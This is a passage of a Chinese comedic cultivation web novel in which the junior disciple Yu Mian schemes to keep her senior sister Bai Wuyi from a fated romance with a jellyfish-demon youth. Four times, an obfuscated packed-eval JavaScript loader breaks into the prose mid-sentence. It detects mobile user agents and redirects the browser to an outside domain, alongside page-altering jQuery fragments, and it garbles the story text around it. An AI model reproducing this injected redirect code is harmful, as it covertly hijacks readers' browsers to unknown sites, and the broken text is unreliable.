喻眠气急之下直接接过了咸鱼,然后恶狠狠地用咸鱼往粉衣少年身上一拍,痛得他嗷嗷乱叫。 “你干嘛啊。”粉衣少年龇牙咧嘴地张口道。 少年伸手捂住被喻眠拍过的地方,抬起头,眼尾微微有些泛红,他刚准备继续抨击喻眠,又突然想到了什么,表情变得羞涩了起来:“喂……你这家伙,不会是喜欢我吧?” “哈?” “我娘说了,你们人族有一句老话,打是亲,骂是爱,你这么打我……是喜欢我吧?”少年抬起那张娇俏的脸,发丝自然地随风飘散,他的眸中有些羞涩,脚尖在地上转圈,声音带着些少年人的忸怩。 喻眠被雷得五雷轰顶道:“我可去你的吧。” 闻言,粉衣少年更加羞涩了,浅色的瞳孔不好意思地看向喻眠,嘴里嘟囔道:“看吧,不仅打我还骂我,果然喜欢我。不过咱两是没可能的,我喜欢清渊道长那个类型,如果有可能,我还是想先和她试试。” 喻眠这下气的咸鱼也不用来打人了,手一用力,咸鱼直接给捏碎了。 少年看着喻眠的动作有些恼:“你干嘛呀?多好的一条美味大咸鱼啊,你就这么对它?而且本来就不是给你的定情信物,没必要因为我拒绝你就捏碎它啊。这是让你收下来帮我向清渊道长说好话的,别在那里自作多情。” 喻眠一字一顿地重复道:“自、作、多、情。” 粉衣少年这下更是直接羞涩地双手用袖子捂住了脸,单脚向后勾了起来,晃动身体,衣摆飘逸:“哎呀你重复它干嘛,真让人不好意思。不过仔细看看你也还不赖,虽然人疯了点,但是长得还蛮清秀的,还是个直接追求坦荡告白的白云间弟子呀,真是大方。这样吧,如果我没有追求到情渊道长的话,我不介意你来当我的备胎。” “备、胎。”喻眠更加咬牙切齿了。 “真讨厌,又重复我。”粉衣少年羞涩地扭了扭身子。 喻眠这下真不想和这个人周璇了,转身就走。 大师姐你就去死吧,这样的货都能爱上,还能为他掏心掏肺,活该你度不过情劫,该! 喻眠边说边骂,一边骂一边吃刚刚拍碎的烤咸鱼。 你别说,味道还真不错。 神色刚刚好转一些,粉衣少年就在后面摇晃身姿,挥手帕告别:“吃了我的咸鱼就要做我的人啦,记得把我引荐给清渊道长哦~” “呕。”喻眠直接被他恶心地把吃进去的咸鱼又吐了出来。 她忍着反胃的感觉,把剑向前方一丢,乘上剑,御剑飞行直接往大师姐那里飞。 该死的,被他这傻缺搞得忘了自己竟然还会御剑飞行了。 御剑飞行就是快,一会功夫喻眠就把那家伙远远甩到了身后,来到了外门弟子终审的那片场地。 外门弟子的选拔流程说严不严,说松也不松。 通过关卡达到终点就基本成功了了一半,剩下全看宗主和她三位亲传弟子的眼缘,不过一般而言只有大师姐一个人在那里评判。 二师兄是大忙人,没什么时间来;师尊又懒得管这些细枝末节的小事。 至于喻眠,虽然是少门主,但是大师姐点头她喻眠也不会说不啊。来了也基本是走走形式,加上喻眠本来就懒,久而久之,喻眠来得也少了。 难得喻眠来一次,还已经是日下山头,迟到很久后才到。 不仅迟到,喻眠还没规矩的在这种正式场合御剑乱飞,拜无衣的脸色有些难看。 她看人时眼尾那点天生的胭脂痣在雪的映衬下泛出绯色,眼睛生得浓艳,看过来的眼神却带着凛冽的寒。 她身后围站着一些已经通过外门试炼还没正式拜师的弟子,也跟着拜无衣的目光看向喻眠。 “你来晚了。君子无宿诺,守时即守信。准时到场不仅仅是对他人的尊重,更是对自身信誉的维护。” 拜无衣的声音像周遭飘着的冰雪,清冽却又带着三分的润,掷地碎成透亮的清响。 有外人在,拜无衣批评喻眠不会说得太直白和难听,反而显得很轻描淡写。 喻眠觉得大师姐没有真正生气,便试图撒娇蒙混过关:“好了大师姐,就偶尔迟到了一次嘛。哪有你说的这么严重。” 拜无衣原本三分的情绪被喻眠这句话带起了五分,在她的视角里喻眠刚刚去完执法堂,迟到也是在所难免的事,大庭广众为了维护白云间的规章制度象征性的说她一句。 但是喻眠就这样没规矩地回话,身为少门主这样作表率,旁边这些新入门的外门弟子看到会怎么想呢? 于是面对身边一堆新弟子的注视,她又引经据典地教训了起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818704|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给外门弟子做样子:“行远必自迩,登如高必自卑。远行需从近处进步,你的信誉更是要从遵守时间这种小事做起……” 喻眠不敢再顶嘴了,却又不想听自己被批评,于是放空耳朵脑子里想着自己的事。 刚刚见到了大师姐的情劫,真是修真界的一朵奇葩。 现在在这里威风堂堂批评她的大师姐将来竟然会喜欢上这种人? 有点太过于好笑了。 喻眠想到这里,不由得精神胜利了起来,嘴角洋溢的都是欢脱的微笑。 这么看来,她也不应该和这种审美的大师姐计较责备不责备自己的事,不仅不计较,她还会大人不记小人过地继续拯救师姐于情劫之中。 大师姐,你别太感动。 喻眠越想越高兴,越高兴嘴角勾起的弧度越高。 喻眠和拜无衣身边站着一些已经通过试炼的准弟子,他们看着面前一边被批评一边嘴角勾起的喻眠,忍不住交头接耳窃窃私语了起来。 “我们未来的少门主就是这种人吗?” “她是不是精神有问题啊?怎么清渊道长骂她还那么开心啊?” “不愧是是传说中的白云间,就连少门主的精神状态都和别的宗门不一样。厉害厉害,佩服佩服。” 喻眠走神是需要批评的,但是拜无衣更加护短,听到这些人评价师妹的这些话动了真怒,转头看向他们。 拜无衣是笑面虎,无论说什么面上都是和颜悦色,然而言语警告的内容却透着狠厉:“没想到在场的竟然有嘴碎礼失之辈,是我拜无衣看走眼了,不过外门试炼尚未结束,还来得及揪出你们这类人。” 话音一落,在场顿时鸦雀无声。 反应过来大师姐在为了自己教训了别人,喻眠立马将自己从神游四海的状态中脱离而出。 你们这群人竟然敢诽议本少门主?我都没有听到。 感谢大师姐为师妹出这口恶气,可以可以。 喻眠津津有味地看着自己的大师姐耍威风,还在感叹要是兜里现在有一把瓜子就好了。 然而就在这时,粉衣少年也抵达了目的地。 他东张西望,败坏了喻眠原本的好兴致。 喻眠正不爽地看着他,却见少年环顾四周一圈后直接哭了出来。 喻眠怔了怔,这是怎么了?一来就哭?见到了憧憬多年的大师姐按照他的性子不应该直接笑出声来吗? 原来是少年注意到了拜无衣教训弟子。 按照他那套人族社交理论——“打是亲骂是爱”。清渊道长在骂这么多人,岂不是同时在对着这么多人表达爱意? 一旦这么想,小迷弟粉衣少年就没办法因为抵达终点而开心了,反而变得十分忧郁。 他抖了抖身子,满脸难过。 清渊道长拜无衣是不是把整个外门弟子当作她的后宫? 把外门试炼当成她的后宫选秀? 不然为什么她都要对着所有站在那里的弟子都要表达爱意? 为什么他崇敬了这么多年的清渊道长竟然是一个这样的人渣,他感觉他这些年的崇拜都错付了! 粉衣少年蹲在地上,双手抱膝,头埋在膝弯上啜泣起来。 8. 第八章 一心渴望与拜无衣一生一世一双人的粉衣少年蹲在那里不断流眼,抬起头来,满面泪痕,红通通的鼻尖顶着还未融化的雪水,哭泣的尾音带颤。 拜无衣听到啜泣声,这才注意到又有人登上了终点,而且此人与先前的人们不一样,他不欢喜也不激动,而是在坐在地上流泪哭泣。 拜无衣垂下眼帘,走过去,问道:“你成功抵达终点,即将拜入白云间,开始修仙求道之路,又为何而哭泣呢?” 少年看到拜无衣走进,看到自己崇拜了多年的清渊道长,愣在那里迟迟没有给出什么明显的反应。 倒是喻眠听到拜无衣的问话,当下内心就升起波涛海浪:“这什么剧情?少年你为何如此与众不同?你成功引起了我的注意?” 不会吧?这斯就这样按照剧情给大师姐留下深刻印象了? 那下一步岂不是大师姐爱上俏师弟然后挖肾掏心情劫而终吗? 那她不就没有师姐了吗? 喻眠被自己的脑补给吓到了。 虽说她刚刚被这货气得半死,口不择言说什么大师姐能爱上这种货纯属死的活该,但这完全就是怒其不争之言啊。 她并不希望大师姐死掉啊…… 喻眠一言不发地看向师姐的方向,神情带着悲伤。 只见粉衣少年抬袖抹抹眼泪,一边啜泣一边对着拜无衣断断续续地说道:“因为……因为我看到清渊道长在骂弟子,所以哭。” 说完少年又呜呜直哭起来。 拜无衣并不知道粉衣少年哭起来的真正原因是觉得她在骂弟子就是爱上弟子了,她长叹了一口气,表情上来看她被粉衣少年说出口的话触动,蹲下身伸手扶他起身,道:“好孩子。” 两人的反应和神情看呆了周围一众吃瓜弟子,却又因为拜无衣刚刚的警告没法再度七嘴八舌地议论起来。 喻眠:“……” 泪腺发达柔弱师弟x清渊峻节严苛师姐吗? 有点意思。 但是能不能不要这样发展! 喻眠看着面前这个荒唐的场景,大脑似乎陷入了恍惚。 站在那里的关怀俏师弟的不是她的大师姐,而是一具会行走的尸骨。 她不禁疑问,她的大师姐是不是没救了? 喻眠其实也不是不知道大师姐本质上是一朵笑面虎黑心莲,只是在外面会表现得十分仁爱宽和。 可是那本天道之书说了俏师弟是她此生的例外,于是喻眠没法确定现在的大师姐的宽和到底发自内心,还是像以往一样的表面功夫。 喻眠看着飞扬四起的雪花,内心也飘零了起来。 雪花好冷,她好想掏出那本天道之书,怒冲648灵气暖暖身子,看看她的大师姐现在对俏师弟的好感度是怎么个情况。 但是她现在看不了书,只能看天边倾盆而下的白雪。 雪在空中随着风打旋,然后缓缓飘落到雪白地上,在白云间编织成一片雪色的舞台。 雪色的舞台上粉衣少年和大师姐上演偶像剧,看得喻眠心烦。 戏台远处又缓缓走来一个粉衣少年,喻眠眯起眼睛看,是二师兄沈飞知。 “啧,一出好戏,我是不是来迟了?” 沈飞知身着一身桃粉缎面广袖袍服,摇着泥金折扇缓缓走来。一双桃花眼扫过那弟子哭泣的场景,眼尾弯成两道弯勾。 听到声音,一些原本没有注意到来人的弟子循声望去,瞧见沈飞知模样都不禁倒吸了一口凉气。 陌上人如玉,公子世无双。这样的人物一日之内竟然出现了两位。就是不知为何传出君子名声的就只有清渊道长拜无衣一人? “又没骂你,哭什么哭?这点压力都受不住的话,就别来白云间了。” 语毕,沈飞知唰地一声合上折扇,响动惊动了在场所有人,全场目光都因折扇的犀利声音转移到了他的身上。 沈飞知看到所有人盯着自己看,轻笑一声,转头环视全场一周。 喻眠看他这幅架势,心中暗道不妙。 果然不出喻眠所料,沈飞知似笑非笑地看完所有人后,紧接着就抬手抚上自己的头发,然后狠狠翻了一个白眼: “啧啧啧,长得没有我漂亮,还比我做作,我现在要把你一票否决了,我们宗门不需要你。” 围观的准弟子们:!这是什么惊人反转?白云间二师兄原来是一个这样的人吗?而且什么压力不压力,哭不哭的,重点其实是在意人家和自己这相似的气质吧!不仅与自己相似而且看着更娇俏!不仅更娇俏看着也没有这么做作! 喻眠:“……” 难得好不容易风度翩翩地登场一次,登场没多久又原形毕露是吧! 所而且为什么二师兄明明也这样没形象没规矩,大师姐不管管啊。 就逮着她喻眠年纪小好欺负是吗? 喻眠不敢瞪大师姐,就含怒瞪了沈飞知一眼。 沈飞知没有搭理她,还在那里摇扇子捂嘴笑。 喻眠见沈飞知这个样子又气得鼓起了腮帮子,但是转念一想不过沈飞知一来,终于又有了一票否决实权的人了。 而且他还把俏师弟给否决了。 喻眠又高兴了起来。 这全都靠她的努力好吧。 喻眠沾沾自喜。 要不是她绞尽脑汁和俏师弟对话,拖延他抵达的时间,不然身负情劫宿命的大师姐就直接拍板同意了。 哪里还会有迟到大王沈飞知否决的时间? 喻眠愉快地揽走了全部的功劳。 粉衣少年听到二师兄说的话也像弟子们一样惊讶,不过他不像众弟子憋在心里不敢说,他直接把心中所想脱口而出:“你怎么也骂我?你也喜欢我?” 沈飞知:? 沈飞知眉毛一挑,手上一展扇子,对着自己扇了起来,道:“哟?不仅又丑又作还自恋?你当你是本少爷这样的万人迷,人见人爱花见花开?能吸引本少爷这样的人物对你一见钟情?可笑可笑。” 他说完又抬手拖了拖头发,用扇子掩面讥笑起来。 喻眠每次看到他这幅样子都忍不住心里吐槽。 明明自己跟万人迷搭不上边,嘴巴像淬了毒的蝴蝶,却总是这么自恋。大师姐的死法是太惹人喜爱死于情劫,沈飞知你的死法可是招惹了一堆仇敌被五马分尸了啊…… “喂,喻眠,你那是什么眼神?我说的有错吗?”沈飞知看到喻眠的表情不满地说道。 喻眠不敢顶撞大师姐,但是沈飞知还是可以的随便怼。 喻眠学着沈飞知刚刚的模样,娇俏地摸摸头发翻了个白眼道:“怎么了?我的眼神有什么问题吗?我觉得我的眼神很单纯很澄澈啊。会不会是你尖酸者见尖酸呢?” 沈飞知不爽地把折扇往喻眠那里丢去。 喻眠有十几年丰富的躲折扇的经验,她轻轻松松地躲开,躲完还不忘对沈飞知做个鬼脸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818705|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 粉衣少年瞧着他们师兄妹亲切互动的样子,身子颤抖,他颤颤巍巍地伸出手指,指着二人,不敢相信地说道: “你们人修都是这样滥情的吗?有会同时喜欢很多人的浪荡子,还有你们这种亲师兄妹之间的不伦恋情?!” 打是亲骂是爱。 喻眠和沈飞知之间的这种阴阳怪气岂不是超越情爱?! 喻眠听到顿觉五雷轰顶:“我喜欢完你还要喜欢这姓沈的?你脑子没问题吧?” 喻眠这下真的忍不住又想去揍他了,不管在场其他人惊异的眼神,一拳直向粉衣少年腹部打去。 结果此妖族少年看到喻眠动作,直接化形给自己肚子那里漏了个大洞,空落落的一个圈。 喻眠失去原本落点,又因为有惯性作用,最后整个人扑倒在粉衣少年身上,她脑子还没完全反应过来,只本能地抬头看着他那柔弱的脸。 “啊,虽然我知道到了新的地方要入乡随俗,也知道你们人族表达爱意的方式是打是亲骂是爱,打我也不是对我有什么恶意。不过、不过也不代表我愿意接受你的示爱,白白挨上一拳啊。你很好,很灵秀,很大方,就是、就是我不能接受一个会喜欢自己亲师兄的人,抱歉,实在抱歉。”粉衣少年怀里拥着双髻少女,涨红起脸,有些手足无措,原本的气焰消散,脸上顿时通红无比,他声音细弱道。 喻眠狠狠咬着自己的后槽牙,匆忙起身。 装货。 不过她却不敢再骂他了,生怕粉衣少年嘴里又蹦出什么鬼话。 沈飞知脑子像狐狸一样,一下子反应过来了是怎么一回事,笑了起来,然后借着机会开自己的师妹玩笑: “哟哟哟,看不出来喻眠你竟然喜欢这样的啊?啧啧啧,真是人不可貌相……”沈飞知把尾音拖长,调笑道。 喻眠想直接怼回去,她和这人可没什么情感上的关系。 而且这是大师姐未来喜欢到发疯的人,沈飞知这么贬低他当心以后被大师姐报复。 但是涉及到拜无衣,喻眠不敢说出内心想法。 她只像刚刚一样用含怒地眼睛盯着沈飞知看。 不过显然,这对于沈飞知毫无杀伤力,他坦然地沐浴在喻眠的眼神里笑了起来,露出自己一排洁白的牙齿。 “好了,别闹了。”拜无衣揉了揉太阳穴,出声打断主持维护场面。 拜无衣蹲下身子,像关怀每一个弟子一样关怀着粉衣少年,温声道:“你叫什么名字?哪个妖族来的弟子?是不是对人族有什么误会?” “尤宋,水母族来求学的弟子。”尤宋刚刚拥抱过喻眠后的脸上红晕还未消散,他耳尖晕着一圈粉,回答了前两个问题。 水母族,幻形千化的种族,难怪能把肚子上变出一个大洞。 喻眠了然,但是却不是很高兴。 可恶的娇俏师弟,和大师姐说句话都要装作害羞的样子吗?是不是存心用美色来诱惑她师姐。 听到尤宋的回话拜无衣又笑了笑:“这样啊,挺好的,留下来吧,白云间很适合你。” 尤宋点了点头。 见状,喻眠瞪大了眼睛。 她辛辛苦苦忙活了半天,难道大师姐还是非要一见钟情、强行开后门留下俏师弟吗? 那她这么久付出的努力算什么? 喻眠皱着鼻子,想要打断二人的对话,让大师姐不要被这俏师弟所哄骗,但最后还是绝望地闭上了眼睛。 9. 第九章 倒是沈飞知很是不爽地直接说道:“无衣,我觉得他不是很合规矩。” 其实沈飞知是整个白云间最没规矩也是最不在乎规矩的那个了,他说的这些话都是场面上的托词,实则拒绝尤宋的理由就只是单纯看他不顺眼。 喻眠不管沈飞知拒绝尤宋的真正理由,只跟着连连点头,附和着:“对的对的,很没规矩。” 尤宋原本没有动静,听到喻眠这么说一脸羞愤恼怒地看着她,眼里说着一句话——“你不能因为自己得不到我就毁了我”。 喻眠装作没看见,继续在那里点头如捣蒜,支持二师兄说的不同意尤宋进入师门的话。 不过拜无衣还是没有拒绝尤宋,只是摸了摸他柔软的黑发,温婉地笑了笑,转头对着沈飞知说道:“他本性不坏,还是给他一个机会吧。你可以亲自来教导他这些规矩。会变成你想要的模样的。” 沈飞知见拜无衣坚持,便没有再说什么,只是皱着眉头点了点头。他手指托着下巴,一副不是很情愿的样子。 喻眠觉得十分不可思议。 大师姐为了这个尚未入门的俏师弟,都要在公开场合上落沈飞知面子吗? 俏师弟就这么吸引大师姐?能让大师姐为了他都要在公开场合就是否招收一个弟子这种小问题上表现出和沈飞知意见相左? 拜无衣没有注意喻眠的表情,她见对于尤宋的归属下了决断,时辰也差不多了,便差遣着众弟子往白云间外门弟子所走去。 让他们早点领完弟子服装然后好好休息,再准备准备,明日就要上课,学白云间的知识了。 随着外门试炼的结束,天空这场为外门试炼而下的雪也渐渐稀疏。 没有喻眠来时那样倾泻,零星破碎,像天空的装饰点缀物。 在场只留下了拜无衣、沈飞知、喻眠三人。 沈飞知率先开口道:“为什么非要留下这个叫尤宋的,多一弟子少一个弟子我是无所谓,听你的,但是你总要给我一个非要强留下他的原因。” 这里在场的都是自己人,可以说内心真实的想法。 拜无衣眉梢依旧带笑,并不与沈飞知客套,直接切入正题说道:“你还记得为什么这次外门试炼开始招收妖族的弟子了吗?” “为了拥有一支符合要求的队伍去取妖族的青山剑?”沈飞知有些恍然大悟道,“师尊是占卜到了这个尤宋的宿命?他命里会帮助白云间此次在众师门中夺得青山剑?” “不。”拜无衣答道,“这尤宋的母亲是水母族的族长尤生给我送了贿赂,让我们给她儿子行个方便。她早年去过青山,这次提前送了青山的地图给我们,让我们无论如何收下她儿子。她为了以防她儿子连终点都没走到,还特地嘱咐他穿了一双布鞋作特征,方便我们能找出来他,给他开后门。” “这尤生还挺聪明的。能有盘缠从妖族地盘远道来到白云间的,家境肯定不错,怎么也不会穿布鞋。的确好辨认又不突兀。”沈飞知摸着下巴点了点头,赞许地分析起来。 站在旁边的喻眠:! 他们白云间这个外门招生也太黑暗了吧!还真的是可以靠塞贿赂进来! 怪不得刚刚尤宋见自己要被取消资格连连要送贿赂,原来是子承母业。 等等……这个尤宋背景这么硬? 所以他也不是书中描写的贫穷俏师弟是吗? 她又认错人了?! 像这样穿着布鞋来拜师学艺的娇俏师弟竟然还不止一个? 喻眠震惊完不久,突然顿悟了书中描写大师姐莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818706|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名其妙破格录取了娇俏师弟的原因。 应该是在她喻眠没有插手介入因果产生蝴蝶效应的情况下,尤宋不会走到终点。 然而笑面虎大师姐已经收了贿赂需要办成事情,所以才在最后一个时辰到处游荡,试图找到穿着布鞋的尤宋。 结果阴差阳错和她喻眠一样认错了人。 她错把书中的俏师弟当成了尤宋,破格录取错了人,最后又把自己搭进去了,中了情劫而死。 不过尤宋因为她介入因果而成功抵达了终点,大师姐也就不用再四处找人了。 那么书中的布鞋俏师弟就不会遇到大师姐,也不会被误认然后破格录取,更不会进入白云间后再发生别的事与大师姐产生感情。 那她喻眠还是阴差阳错完成了驱逐俏师弟的任务了啊。 想到这里,喻眠脸上浮起愉快的微笑。 那么这样看来,收下尤宋这个“俏师弟”也不错。 人是奇葩了一些,但是好歹不会像书中的俏师弟一样谋害大师姐的感情和性命啊。 “喂,喻眠,想什么呢,笑得这么开心?叫你呢,回过神来。”沈飞知伸出五根手指,凑到喻眠眼前摇晃了起来。 见喻眠回过神,他也笑了起来。 “叫我?怎么了?”喻眠晃神问道,正常商议师门大事没她这个无情道刚刚入道的什么事啊。 沈飞知两只手托起喻眠的脸,然后轻轻拍了拍:“也不是什么大事,就是你一个时辰前犯事被执法堂抓了没去领罚,然后无衣提醒你你还不去。这件事让我知道了,本想帮你隐瞒,但是考虑到你刚刚没大没小地顶撞师兄我,我愉快地检举揭发给无衣啦,你现在必须去领罚咯。” 说完还做了一个露出八颗牙齿的标准微笑。 10. 第十章 喻眠顿时慌了神,看着似笑非笑的拜无衣,立马回禀道:“对不起对不起大师姐,我不小心忘了这事,绝对不是故意的,我这就过去了。” 少女抛出剑,驾剑西去。 “这里是禁灵区。”拜无衣清冷却含笑的目光扫来,张开嘴对淡淡提醒道。 拜无衣轻描淡写一句话,喻眠被吓得直接从灵剑上跌落下来,慌不择路地点头:“好的大师姐我这就跑过去。” 她奔跑了一段距离,离了大师姐的视线后,又御剑飞行了起来。 风虽然没有再裹挟着雪花,却依旧裹挟着冷意,钻进衣领里,冻得她凉飕飕的,她打了个冷颤。 看着还有一层还未完全褪去冰霜的湖面,还有抖落着最后一点残雪的树叶,她放慢了御剑的速度。 喻眠的速度慢下来了,天气却依然很冷,她讨厌雪天。 待看到执法堂的白房子,她害怕又被执法堂弟子们发现自己违规使用灵力来御剑飞行,她下了剑,慢悠悠地走了起来。 喻眠走在路上,郁闷地踢着路边的石头,天很冷,她也不想领罚。 她一一数落着自己的不满。 啪、嗒。 石头发出了清脆的声音,喻眠看到白色瓦砖的一圈底座。 抬起头,迎面撞上的是一面雪白的大门。 她到了。 白云间的执法堂大门白日都是敞开的,喻眠直接踏了进去,畅通无阻。 大堂有几个小师妹小师弟在门口守着处理事情,见喻眠来,还嬉皮笑脸地打趣着: “三师姐又回家啦?这次犯下什么错?不会是拿灵力耍帅吧?” “可能不仅是拿灵力耍帅,而是用灵力耍完帅还要逃跑。” “哎哟喂你们怎么说话的,还不快快恭迎灵力发型教主喻眠喻师姐归位!” …… 师弟师妹们七嘴八舌地打趣,喻眠却面不改色地向前走,走近了又突然向他们吐了吐舌头做了个鬼脸,然后直接转身飞快地跑到二楼会堂去。 留在原地的师弟妹们冲着喻眠的背影笑成一团。 三师姐一直很有趣,是最受内门弟子们欢迎的那一个。 * 二楼过道上没什么人,喻眠径直走到里间。 她敲了敲门,清了清嗓子,道:“是我,喻眠。” 一个八九岁大的小师妹拉开一点点门缝,探头探脑地往外瞧,见是喻眠又哼哧哼哧拉开整个门,迎她进来:“三师姐好,李师姐现在不在。” “哦?”喻眠一喜,情不自禁感叹出来,“世上还有这样的好事?她怎么了?被革职了?我就说她这样不近人情的人迟早被开,活该。” 小师妹表情透着无奈:“李师姐是去处理外门弟子的事情了。” 喻眠不高兴地撇嘴:“真是一个大忙人,特地向大师姐告状让我过来,结果自己没人影了。” 小师妹解释道:“今年突然开了外门招生,招的弟子还不少,外门那里忙不过来了,便向我们内门执法堂差遣人手帮忙。李师姐过去那边的执法堂了,事还挺多的,安排住所啊发放衣服啊发放心法啊,三师姐你还要等上一会儿。” 喻眠撇撇嘴,应下声来:“好吧,师妹我知道了。你去忙吧,我在这里等她回来。” 小师妹带上门离开,留下喻眠一个人在房里。 她四处看了看,屋内装修得朴素低调,墙上挂着一副山水画,大师姐在上面题了字。 喻眠打量完屋子,嘿嘿一笑,直接往椅子上一靠,把脚翘在桌子上,从袖口套出那本《一剑斩仙》,悠哉悠哉看了起来。 翻开过的书页总是比旁的更旧更好翻些,喻眠翻开书恰恰好是刚刚看过的那一页。 原本章节里鲜亮清晰的文字模糊成一片,章节上的标题变为【霸道师姐俏师弟,冷面师姐轻点宠(0)】,大大的零昭告着喻眠对于这段恋情的成功破坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818707|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 喻眠很高兴,心情顺畅。 太好了,她成功拯救了大师姐,大师姐不会再死于情劫了。 她敲在桌上的二郎腿晃了晃,嘴里哼起愉快的小调。 天道之书也闪了闪亮光,呼应着喻眠愉悦的心情。 亮光闪完,第一章上的字越来越模糊,然后扭曲着挤成一团,最后化作一道黄色的光点飞入喻眠眉心自己点的一点红。 喻眠有些害怕地摸了摸眉心,又对着桌上摆着的水杯里的水照了照,虽说看上去没什么异样,内心却依然有些踌躇。 她用手用力擦着自己早上画上的红点,却再也擦不掉了。 喻眠有些慌乱,灌了一杯水下肚,不过想到她可是天道女主角,天道之书总不能害了她,她还是强压下心思来,运行心法感受起身体有什么不同。 只见灵台处随着她对于功法的运行,逐渐浮现出一柄灵剑的模样来,只是尚且未完全成形,看着还是有些模糊。 喻眠一惊。 这不是只有高等级剑修才能掌握的灵气化剑之术吗?她一个小小的刚入门的符修,竟然灵台上也能拥有? 果然,在经历了被接连告状的倒霉后迎接的就是最极致的幸运。 喻眠这下彻底放心了,吊儿郎当继续看书。 喻眠往后翻一页,拯救完了大师姐她也好着手开始拯救二师兄了,看看二师兄是招惹了谁落得那个下场。 喻眠恶劣地笑了笑。 沈飞知啊沈飞知,叫你今天向大师姐举报我,我现在可要好好看看你最后是怎么死的。 不过你放心,你人虽然欠了些,但是好死不如赖活着,我救还是会救一下的。 第二页打开,喻眠却发现了原本【俏师弟】的位置后硬生生又变出来两页字。 标题分别写着【清冷道长娇俏小妖:清渊道长哪里逃(1)】和【渡劫后,无情道修士的器修白月光我不当了(1)】。 11. 第十一章 喻眠看着有些困惑。 不应该是二师兄那里的情况了吗? 看这标题的意思这不还是大师姐的情劫吗? 难道说……? 没想到啊,大师姐你看着斯斯文文的,原来背地里玩的这么花,情劫都不止一个,还在这里搞3p。 喻眠摇了摇脑袋。 书上标题说的是刚刚被她误认成俏师弟的方溢鸣和尤宋这两个人吧? 尤宋的标题还说什么娇俏小妖的,明明都是外门师弟,尤宋和俏师弟有什么区别吗? 大师姐你的喜好也太一成不变了吧,就是喜欢这种娇俏笨蛋。 喻眠又摇了摇头。 她捧着《一剑斩仙》,把爽文小说的前提页当作修真界第一心法细细研读了起来。 【清冷道长娇俏小妖:清渊道长哪里逃(1)】 【即使是和整个师门对抗,大师姐也依然收下他作为白云间的外门弟子。 他看着大师姐从容不迫的模样,双眼盛满星光。 他总爱幻想,大师姐是不是对他也有一点点的动心呢? 他对大师姐就有心动,不止一点的心动。他喜欢她那无所畏惧的眼神,喜欢她那温柔贴心的话语。 为了大师姐,他要在外门好好修炼。 后来啊,大师姐果然也对认真的他刮目相看,刚修炼一个月,就把他也带上了去妖族取青山剑的队伍。 取青山剑的路很漫长很艰难,但是他亲爱的大师姐永远都是耐心坚韧,对他投来的目光也是越来越情切。 可是他总是想,大师姐在外门试炼上就爱着那么多人,她真的是他此生最合适的道侣吗?他是否要接受这段感情呢? …… (本章完) 】 喻眠这才反应过来好像直至目前为止,并没有人和尤宋解释清楚“打不是亲,骂也不是爱”。 他就这样活在自成一派的世界观中,未来再以这个为矛盾点和大师姐产生了虐恋情深。 太荒唐了。 而且大师姐哪里为了他和整个师门对抗了,尤宋还是恋爱脑滤镜太强了。 不过喻眠还是很害怕书中描述的那一句“大师姐对待尤宋越来越情切的目光的”。 喻眠生怕这不是尤宋的滤镜,而是天道之书的客观描写。 那大师姐性命真是危在旦夕。 不过尤宋文笔相比俏师弟也太烂了,一整个小白文。 喻眠吐槽着翻开下一章。 【渡劫后,无情道修士的器修白月光我不当了(1)】 【直到试炼结束他都没有找到外门试炼的终点,最后是清渊道长一步一步带着他走到了终点。 一路上他们讨论了很多很多。 清渊道长提到炼器总是很郑重,无论是传闻中的青山剑还是给自己师妹的一个小小的砚台。 他喜欢郑重的人,很何况是教导基础剑法第一式都要郑重考验的人。 既然这样,当拜无衣郑重地希望他能指导关于青山剑的事宜,他又怎么舍得拒绝呢。 他答应了,并且配合她的意思,隐藏身份加入了外门的培训之中。 正式开始青山试炼后,他也加入了取剑的队伍,可是谁知道事情的发展这么始料未及…… …… (本章完)】 喻眠:“……” 方溢鸣也是个恋爱脑,真是没救了。 大师姐给他带个路都会这么想入非非。 早知道她告诉方溢鸣怎么走了,也好不让大师姐落入囧境。 喻眠无力地吐槽着。 